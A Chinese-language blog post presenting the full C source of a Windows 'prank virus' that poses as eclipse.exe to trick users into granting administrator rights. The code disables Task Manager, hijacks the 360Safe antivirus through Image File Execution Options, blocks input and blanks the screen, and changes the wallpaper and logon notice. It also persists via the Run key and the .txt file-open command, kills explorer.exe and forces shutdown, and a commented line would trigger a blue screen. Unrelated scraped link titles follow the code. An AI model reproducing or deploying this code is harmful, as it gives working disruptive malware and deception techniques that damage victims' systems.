暑假了解过了windows编程的相关知识,也知道了注册表相关的操作。那时候就想自己写一个整人的程序。结果一直从暑假鸽到现在才写完。不知道大家小时候,有没有遇到过一个弹出”你是不是猪”窗口的整人程序,我的这个程序其实就是在那个程序基础上扩展了一些东西,一个升级版。程序伪装成java的编译器程序eclipse.exe来执行

首先,我们弹出的窗口不能被任务管理器关掉。我们在弹出窗口之前,应该先禁用任务管理器。

HKEY hkey;
DWORD dwDisable=1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey,"DisableTaskMgr",NULL,REG_DWORD,(LPBYTE)&dwDisable, sizeof(DWORD));
RegCloseKey(hkey);

通过在[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]下新建一个键值名为DisableTaskMgr,键值为1的注册表键值,来实现禁用任务管理器。

接下来就是弹出”你是猪吗”对话框

int iRet_isPig,iRet_isCheat;
while (TRUE) {iRet_isPig=MessageBox(NULL, TEXT("你是猪吗"), TEXT("问题"), MB_ICONQUESTION | MB_YESNO);if (iRet_isPig == IDYES) {MessageBox(NULL, TEXT("知道就好"), TEXT("不错"), MB_ICONINFORMATION|MB_OK);break;}else if(iRet_isPig==IDNO){iRet_isCheat=MessageBox(NULL, TEXT("你在骗我吗"), TEXT("质问"), MB_ICONEXCLAMATION | MB_YESNO);if (iRet_isCheat == IDYES) {MessageBox(NULL, TEXT("好吧,再给你一次机会"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);continue;}else if (iRet_isCheat == IDNO) {MessageBox(NULL, TEXT("不,你是在骗我\n哈皮"), TEXT("警告"), MB_ICONEXCLAMATION | MB_OK);virus();break;}}
}

简单的调用MessageBox。一些学过vb的初中生,高中生最喜欢拿这个函数整人了。在弹出”不,你是在骗我,哈皮”对话框后,开始执行恶意代码的主函数virus

virus函数主要实现了以下几个功能
1.获得当前文件所在的各种路径信息(执行文件所在路径,所在文件夹路径等等)
2.改变开机欢迎词
3.镜像劫持杀毒软件(现在的杀软太牛逼,这个功能其实一点屌用都没有)
4.黑屏
5.修改桌面背景
6.设置开机自启
7.设置txt文件自启

 //执行文件所在路径TCHAR szPath[MAX_PATH]={0};GetModuleFileName(NULL,szPath,MAX_PATH);//执行文件所在文件夹的路径 TCHAR szFolderPath[MAX_PATH]={0};strcpy(szFolderPath,szPath);(_tcsrchr(szFolderPath,TEXT('\\')))[1] = 0;//要更换壁纸的保存路径 TCHAR szChangeWallPaper[MAX_PATH]={0};TCHAR *szPictureName=TEXT("configuration\\org.eclipse.equinox.app\\.manager\\hack.jpg");strcpy(szChangeWallPaper,szFolderPath);strcat(szChangeWallPaper,szPictureName);

通过GetModuleFileName来获得当前所在路径,得到的路径信息存储在szPath中,szFolderPath为所在文件夹的路径,szChangeWallPaper为我们想要更换的壁纸的保存路径

//修改开机欢迎词TCHAR szCaptionText[50]=TEXT("你可能用了一个假的电脑");TCHAR szMainText[300]=TEXT("由于在开机过程中受到不明第三方势力威胁,您的电脑在运行过程中感到非常害怕,一些系统必须的应用程序已经躲起,导致系统无法启动。");RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",&hkey);RegSetValueEx(hkey,"LegalNoticeCaption", NULL, REG_SZ, (LPBYTE)szCaptionText,sizeof(szCaptionText));RegSetValueEx(hkey,"LegalNoticeText", NULL, REG_SZ, (LPBYTE)szMainText,sizeof(szMainText));RegCloseKey(hkey);//ImageHijack镜像劫持360TCHAR szHijk[300]={0};strcpy(szHijk,szPath);strcat(szHijk,TEXT(" 360Safe"));RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360Safe.exe", &hkey);iRet=RegSetValueEx(hkey, "Debugger", NULL, REG_SZ, (LPBYTE)szHijk, sizeof(szHijk));RegCloseKey(hkey);if(iRet==0){MessageBox(NULL,TEXT("ImageHijacked successfully"),TEXT("Tips"),MB_OK);}else{MessageBox(NULL,TEXT("fail to ImageHijack"),TEXT("Tips"),MB_OK);}

修改开机欢迎词没什么好说的,这里主要讲讲镜像劫持。本来想绑一个360的,结果实战的时候发现完全没屌用。杀毒软件防的很好,以Administrator权限在Image File Execution Options下新建项都拒绝访问。后来又在网上搜了一下,好像只能以system超级管理员权限才能修改。
还有一种关闭360自我保护的方法,但是需要打开360界面调设置。不好实现。
所以镜像劫持的功能就只能看看了。

 //黑屏BlockInput(TRUE);SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,2);Sleep(2000);BlockInput(FALSE);//修改桌面背景SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0,(PVOID)szChangeWallPaper, SPIF_UPDATEINIFILE);RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hkey);RegSetValueEx(hkey,"Wallpaper",NULL,REG_SZ,(unsigned char*)szChangeWallPaper,sizeof(szChangeWallPaper));RegSetValueEx(hkey,"WallpaperStyle",NULL,REG_DWORD,(LPBYTE)&dwWallPaperStyle,sizeof(DWORD));RegCloseKey(hkey);

黑屏2秒,然后更换壁纸。

 //设置开机自启TCHAR szAutoRun[MAX_PATH]={0};strcpy(szAutoRun,szPath);strcat(szAutoRun,TEXT(" normal"));RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);RegSetValueEx(hkey,"病毒自启",NULL,REG_SZ, (LPBYTE)szAutoRun,MAX_PATH);RegCloseKey(hkey);//设计txt文件自启RegCreateKey(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",&hkey);RegSetValueEx(hkey,NULL, NULL, REG_EXPAND_SZ, (unsigned char *)szAutoRun,MAX_PATH);RegCloseKey(hkey);

设置开机自启,txt文件自启。开机的时候,自动运行程序。双击打开txt文件的时候,也重定向到此程序。

Sleep(10000);
WinExec("taskkill /im explorer.exe /f",SW_HIDE);
Sleep(3000);
WinExec("shutdown -s -t 10 -c 哈皮",SW_HIDE);

基础的DOS命令,关闭某个程序和关机

获得管理员权限提权
修改注册表需要管理员权限,这里主要的原理是自己调用自己,通过SHELLEXECUTEINFO的lpVerb参数为runas来实现.

VOID ManagerRun(LPCSTR exe,LPCSTR param){SHELLEXECUTEINFO ShExecInfo; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);  ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;  ShExecInfo.hwnd = NULL;  ShExecInfo.lpVerb = "runas";  ShExecInfo.lpFile = exe; ShExecInfo.lpParameters = param;   ShExecInfo.lpDirectory = NULL;  ShExecInfo.nShow = SW_SHOW;  ShExecInfo.hInstApp = NULL;   BOOL ret = ShellExecuteEx(&ShExecInfo);  CloseHandle(ShExecInfo.hProcess);
}
int main(int argc,char *argv[]){//隐藏控制台窗口HWND hwnd=FindWindow("ConsoleWindowClass",NULL);if(hwnd){ShowWindow(hwnd,SW_HIDE);}if(argc == 1){//双击打开,只有一个参数ShowWindow(GetConsoleWindow(),SW_HIDE);ManagerRun(argv[0],"admin");return 0;}else if(strcmp(argv[1],"admin")==0){//管理员打开//程序主代码}
}

用户不会将管理员权限给一个不明的程序,我们这里主要是把程序exe设置为跟eclipse一样的图标,把它放到eclipse主文件夹内,并替换原来的eclipse.exe,狸猫换太子。用户看到是eclipse获取管理员权限时,往往不会怀疑,从而达到骗取管理员权限的目的。

程序运行效果:



===============================================================================
程序源码:

#include <windows.h>
#include <winable.h>
#include <stdio.h>
#include <tchar.h>
void virus(){DWORD dwWallPaperStyle=2;int iRet;HKEY hkey;//执行文件所在路径TCHAR szPath[MAX_PATH]={0};GetModuleFileName(NULL,szPath,MAX_PATH);//执行文件所在文件夹的路径 TCHAR szFolderPath[MAX_PATH]={0};strcpy(szFolderPath,szPath);(_tcsrchr(szFolderPath,TEXT('\\')))[1] = 0;//要更换壁纸的保存路径 TCHAR szChangeWallPaper[MAX_PATH]={0};TCHAR *szPictureName=TEXT("configuration\\org.eclipse.equinox.app\\.manager\\hack.jpg");strcpy(szChangeWallPaper,szFolderPath);strcat(szChangeWallPaper,szPictureName);//修改开机欢迎词TCHAR szCaptionText[50]=TEXT("你可能用了一个假的电脑");TCHAR szMainText[300]=TEXT("由于在开机过程中受到不明第三方势力威胁,您的电脑在运行过程中感到非常害怕,一些系统必须的应用程序已经躲起,导致系统无法启动。");RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",&hkey);RegSetValueEx(hkey,"LegalNoticeCaption", NULL, REG_SZ, (LPBYTE)szCaptionText,sizeof(szCaptionText));RegSetValueEx(hkey,"LegalNoticeText", NULL, REG_SZ, (LPBYTE)szMainText,sizeof(szMainText));RegCloseKey(hkey);//ImageHijack镜像劫持360TCHAR szHijk[300]={0};strcpy(szHijk,szPath);strcat(szHijk,TEXT(" 360Safe"));RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360Safe.exe", &hkey);iRet=RegSetValueEx(hkey, "Debugger", NULL, REG_SZ, (LPBYTE)szHijk, sizeof(szHijk));RegCloseKey(hkey);if(iRet==0){MessageBox(NULL,TEXT("ImageHijacked successfully"),TEXT("Tips"),MB_OK);}else{MessageBox(NULL,TEXT("fail to ImageHijack"),TEXT("Tips"),MB_OK);}//黑屏BlockInput(TRUE);SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,2);Sleep(2000);BlockInput(FALSE);//修改桌面背景SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0,(PVOID)szChangeWallPaper, SPIF_UPDATEINIFILE);RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hkey);RegSetValueEx(hkey,"Wallpaper",NULL,REG_SZ,(unsigned char*)szChangeWallPaper,sizeof(szChangeWallPaper));RegSetValueEx(hkey,"WallpaperStyle",NULL,REG_DWORD,(LPBYTE)&dwWallPaperStyle,sizeof(DWORD));RegCloseKey(hkey);//设置开机自启TCHAR szAutoRun[MAX_PATH]={0};strcpy(szAutoRun,szPath);strcat(szAutoRun,TEXT(" normal"));RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);RegSetValueEx(hkey,"病毒自启",NULL,REG_SZ, (LPBYTE)szAutoRun,MAX_PATH);RegCloseKey(hkey);//设计txt文件自启RegCreateKey(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",&hkey);RegSetValueEx(hkey,NULL, NULL, REG_EXPAND_SZ, (unsigned char *)szAutoRun,MAX_PATH);RegCloseKey(hkey);Sleep(10000);WinExec("taskkill /im explorer.exe /f",SW_HIDE);Sleep(3000);WinExec("shutdown -s -t 10 -c 哈皮",SW_HIDE);//蓝屏
//  WinExec("taskkill /im wininit.exe /f",SW_HIDE);
}
VOID ManagerRun(LPCSTR exe,LPCSTR param){SHELLEXECUTEINFO ShExecInfo; ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);  ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;  ShExecInfo.hwnd = NULL;  ShExecInfo.lpVerb = "runas";  ShExecInfo.lpFile = exe; ShExecInfo.lpParameters = param;   ShExecInfo.lpDirectory = NULL;  ShExecInfo.nShow = SW_SHOW;  ShExecInfo.hInstApp = NULL;   BOOL ret = ShellExecuteEx(&ShExecInfo);  CloseHandle(ShExecInfo.hProcess);
}
int main(int argc,char *argv[]){//隐藏控制台窗口 HWND hwnd=FindWindow("ConsoleWindowClass",NULL);if(hwnd){ShowWindow(hwnd,SW_HIDE);}if(argc == 1){//双击打开,只有一个参数 ShowWindow(GetConsoleWindow(),SW_HIDE);ManagerRun(argv[0],"admin");return 0;}else if(strcmp(argv[1],"admin")==0){//管理员打开//首先,禁用任务管理器DWORD dwDisable=1;HKEY hkey;int iRet;TCHAR ValueInfo[5];DWORD ValueSize=sizeof(ValueInfo);RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);RegQueryValueEx(hkey,"DisableTaskMgr",NULL,NULL,(LPBYTE)ValueInfo,&ValueSize);if(strcmp(ValueInfo,"\x01\x00\x00\x00")!=0){iRet=RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&dwDisable, sizeof(DWORD));RegCloseKey(hkey);if(iRet==0){MessageBox(NULL,TEXT("任务管理器已禁用"),TEXT("哈皮"),MB_OK);}else{MessageBox(NULL,TEXT("任务管理器禁用失败"),TEXT("Tips"),MB_OK);}}int iRet_isPig,iRet_isCheat;while (TRUE) {iRet_isPig=MessageBox(NULL, TEXT("你是猪吗"), TEXT("问题"), MB_ICONQUESTION | MB_YESNO);if (iRet_isPig == IDYES) {MessageBox(NULL, TEXT("知道就好"), TEXT("不错"), MB_ICONINFORMATION|MB_OK);break;}else if(iRet_isPig==IDNO){iRet_isCheat=MessageBox(NULL, TEXT("你在骗我吗"), TEXT("质问"), MB_ICONEXCLAMATION | MB_YESNO);if (iRet_isCheat == IDYES) {MessageBox(NULL, TEXT("好吧,再给你一次机会"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);continue;}else if (iRet_isCheat == IDNO) {MessageBox(NULL, TEXT("不,你是在骗我\n哈皮"), TEXT("警告"), MB_ICONEXCLAMATION | MB_OK);virus();break;}}}}else if(strcmp(argv[1],"360Safe")==0){//360劫持嘲讽 //当用户打开360时,程序重定向到病毒程序TCHAR *str[]={"不会吧","不会吧","不会真有人以为使用360就可以解决问题了吧"};for(int i=0;i<sizeof(str)/sizeof(str[0]);i++){MessageBox(NULL,str[i],TEXT("Tips"),MB_OK);}          }else if(strcmp(argv[1],"normal")==0){//病毒自启重定向 MessageBox(NULL, TEXT("哈哈,电脑好像中毒了呢"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);}return 0;
}

简易的整人病毒(c语言实现)相关推荐

  1. c语言api函数写病毒,C语言病毒代码,及写病毒简单介绍

    编制病毒的语言 最常见的编制病毒的语言有汇编语言.VB.C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病 毒要掌握的基础: 1).Win32编程,进程,线程,内存,等等. 2).32位汇编, ...

  2. 简易计时闹钟设计verilog语言实现

    简易计时闹钟设计verilog语言实现 任务描述: 用电路或verilog语言实现以下功能 简易计时闹钟: 有四位数码管,前两位计分钟,表示00~99分钟, 后面两位记秒,值为00~59秒. 有三个按 ...

  3. python(pygame)开发一个超简易版消灭病毒

    python(pygame)开发一个超简易版消灭病毒 消灭病毒游戏 以下是游戏代码:每个类都是一个py文件,需要导包 1.主程序代码 2.飞机类 3.子弹类 4.病毒类 消灭病毒游戏 消灭病毒是一个打 ...

  4. c语言如何做简单整人病毒,来来来,教你一个用C语言写个小病毒

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 代码如下: #include #include void main(void) { virus(); } int virus() { struct ffb ...

  5. 单片机简易定时闹钟控制c语言代码,简易定时闹钟.doc

    简易定时闹钟 课程名称:单片机课程设计 设计题目: 简易数字闹钟 院 系: 专 业: 年 级: 姓 名: 学 号: 指导教师: 课 程 设 计 任 务 书 专 业 姓 名 学 号 开题日期: 完成日期 ...

  6. 病毒c语言代码大全,谁有C语言编写的病毒源代码?

    一个c病毒源代码 #include #include #include #include #include #pragma comment(lib,'shlwapi.lib') #define TIM ...

  7. java整人_整人“病毒”代码(一)

    前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享. PS:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来, ...

  8. 分享两个“整人”的脚本语言代码

    第一个 %0|%0 这个命令复制在新建记事本里,扩展名改为 .bat就行了,运行后CPU"暴增",解决办法就是关机,"整人"慎用. 第二个 do msgbox ...

  9. 震荡波病毒c语言源码,震荡波病毒

    震荡波(2004年)于2004年4月30日爆发,短短的时间内就给全球造成了数千万美元的损失,也让所有人记住了04年的4月,该病毒为I-Worm/Sasser.a的第三方改造版本.与该病毒以前的版本相同 ...

最新文章

  1. 深入浅出谈接口(interface)和类间继承(extends)
  2. DHCP服务搭建(1)
  3. 思科查看服务器启动配置文件,启动配置检查UCS
  4. 南岸焊接机器人厂_造船三部高效焊接工艺技术年鉴
  5. linux的文件搜索命令,Linux文件搜索命令find的用法 | 术与道的分享
  6. erpnext mysql_windows7+docker+erpnext部署
  7. vb 通过php连接mysql数据库连接_PHP连接MySQL数据库的几种方法
  8. 键盘上的反引号怎么打
  9. HTTP Error: 413 Request Entity Too Large的解决
  10. CentOS 7.3:LAMP 动静分离部署
  11. 无监督︱异常、离群点检测 一分类——OneClassSVM
  12. eclipse无法创建java虚拟机_手把手:Java内存泄漏分析Memory Analyzer Tool
  13. 【sklearn第十五讲】决策树之回归篇
  14. DotNET企业架构应用实践-数据库表记录的唯一性设计的设计兼议主键设定原则
  15. Android进程管理
  16. 视频教程-网页设计速成之Dreamweaver-Dreamweaver
  17. 扩展欧几里得___追风少年的坐骑(2016swust信息院赛)
  18. 【材料整理】 -- DTI相关知识点
  19. opc ua 用哪种语言编写_什么是OPC UA?
  20. [敏捷开发实践] 使用RACI Matrix划分敏捷团队的RR

热门文章

  1. 半自动室内整体布局标注系统(下)
  2. Ubuntu搭建Git服务器
  3. uGMS智慧园区控制体系助力企业节能减排,攸信为能源管控助力!
  4. win10公司内网连接失败解决方案大全100%解决(非翻墙)
  5. 信息论与编码之离散信源小结
  6. 每天坚持喝一杯茶,会得到什么?什么时候喝有讲究,别挑错时间
  7. 【ZeyFra个人随记01】22计科(11408)考研一战白给小丑自我总结
  8. texlive 2021 安装之后双击之后闪退解决
  9. 入行深度学习之前,要做好哪些准备?
  10. 完美解决Java程序在 MOTO E680i 中声音文件播放(转载)